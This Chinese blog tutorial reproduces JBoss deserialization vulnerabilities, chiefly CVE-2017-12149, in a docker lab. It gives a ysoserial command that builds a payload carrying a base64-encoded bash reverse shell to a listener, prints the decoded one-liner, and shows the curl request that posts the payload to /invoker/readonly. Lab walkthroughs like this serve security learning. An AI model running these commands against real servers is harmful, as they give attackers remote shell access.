Jboss反序列化漏洞的复现与原理
一、什么是JbossJboss是一个基于J2EE的开放源代码的应用服务器。 JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3的规范。 Jboss属于redhat公司,而且jboss是开源的,免费的,且在J2EE应用服务器领域,JBoss是发展最为迅速的应用服务器,所以曾经广为流行。二、Jboss的历
一、什么是Jboss
Jboss是一个基于J2EE的开放源代码的应用服务器。 JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3的规范。 Jboss属于redhat公司,而且jboss是开源的,免费的,且在J2EE应用服务器领域,JBoss是发展最为迅速的应用服务器,所以曾经广为流行。
二、Jboss的历史漏洞
1.jboss反序列化漏洞,CVE-2017-7504
漏洞存在/jbossmq-httpil/HTTPServerILServlet中,将这个payload作为POST Body发送至/jbossmq-httpil/HTTPServerILServlet即可
2. jboss反序列化漏洞, CVE-2017-12149
漏洞存在/invoker/readonly中,将这个payload作为POST Body发送至/invoker/readonly即可
3. jboss反序列化漏洞, JMXInvokerServlet-deserialization
漏洞存在/invoker/JMXInvokerServlet。将这个payload作为POST Body发送至JMXInvokerServlet-deserialization即可 以上三个历史漏洞都是java反序列化漏洞,漏洞产生原理都一样。利用方法是直接使用工具进行漏洞利用。这里对CVE-2017-12149进行漏洞复现。
三、Jboss的反序列化漏洞复现
JBoss反序列化(CVE-2017-12149)程序获取http请求数据保存到httpRequest中,进一步处理后保存到变量ois中,然后程序没有对该数据进行过滤,直接使用readObject()方法进行反序列化。
漏洞利用的条件:
- /invoker/readonly目录存在且能访问。
- 版本号为5.x/6.x
1.JBoss反序列化(CVE-2017-12149)漏洞复现。
(1)
(2)[root@localhost CVE-2017-12149]# docker-compose up -d 开启站点
(3)访问他的invorker/readonly目录,发现成功。
(4)首先需要生成一个payload文件
1.使用ysoserial.jar进行payload构造,反弹shell,使用以下命令生成payloadpoc.ser cmd下执行: CommonsCollections5 利用链范围(1-8) ,需要修改尝试
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNDQuMS82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}" > poc.ser
将上边的红字进过base64编码后成为:/bin/bash -i >& /dev/tcp/192.168.44.1/6666 0>&1
需要将地址改为自己反弹shell的ip地址。
然后再cmd输入上边的字符串之后会生成一个poc.ser文件
生成poc.ser后,先在vps中进行监听6666端口,这里使用kali(192.168.44.170)模拟vps。然后在ubuntu中使用命令curl进行传输:
在ubuntu中进行curl访问:curl http://192.168.44.170:8080/invoker/readonly --data-binary @poc.ser (Ubuntu打开终端ctrl+alt+t)
然后查看kali机是否反弹shell成功
更多推荐
所有评论(0)